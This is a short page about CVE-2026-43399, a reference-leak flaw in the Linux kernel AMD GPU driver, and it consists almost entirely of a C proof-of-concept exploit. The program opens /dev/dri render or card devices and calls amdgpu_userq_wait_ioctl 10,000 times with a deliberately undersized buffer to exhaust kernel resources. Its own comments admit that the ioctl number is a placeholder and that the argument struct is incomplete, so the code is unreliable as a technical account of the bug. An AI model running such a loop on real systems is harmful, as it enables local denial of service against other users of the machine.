CVE-2026-43399: Linux内核AMD GPU驱动引用泄漏漏洞

/* * PoC for CVE-2026-43399 * Trigger reference leak in amdgpu_userq_wait_ioctl by providing * a small output buffer. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <string.h> // Define the IOCTL command number for amdgpu_userq_wait_ioctl // This value is illustrative and depends on the kernel header definitions #define DRM_IOCTL_AMDGPU_USERQ_WAIT 0x40 // Placeholder struct amdgpu_userq_wait_args { __u64 out_ptr; // Pointer to output array __u32 out_size; // Size of output array // ... other fields ... }; int main() { int fd = -1; // Attempt to open the AMD GPU device // Common paths: /dev/dri/renderD128, /dev/dri/card0 const char* device_paths[] = {"/dev/dri/renderD128", "/dev/dri/card0"}; for (int i = 0; i < 2; i++) { fd = open(device_paths[i], O_RDWR); if (fd >= 0) { printf("[+] Opened device: %s\n", device_paths[i]); break; } } if (fd < 0) { perror("[-] Failed to open device"); return 1; } struct amdgpu_userq_wait_args args; memset(&args, 0, sizeof(args)); // Allocate a small buffer to trigger the error path char small_buf[4]; args.out_ptr = (__u64)(unsigned long)small_buf; args.out_size = 4; // Intentionally too small printf("[*] Triggering vulnerability in a loop...\n"); // Loop to exhaust resources for(int i = 0; i < 10000; i++) { if (ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_WAIT, &args) < 0) { // Expected to fail due to small buffer, but should clean up refs // Vulnerability: cleanup is missing here } if (i % 1000 == 0) printf("Iterations: %d\n", i); } close(fd); printf("[*] Done. Check kernel memory usage.\n"); return 0; }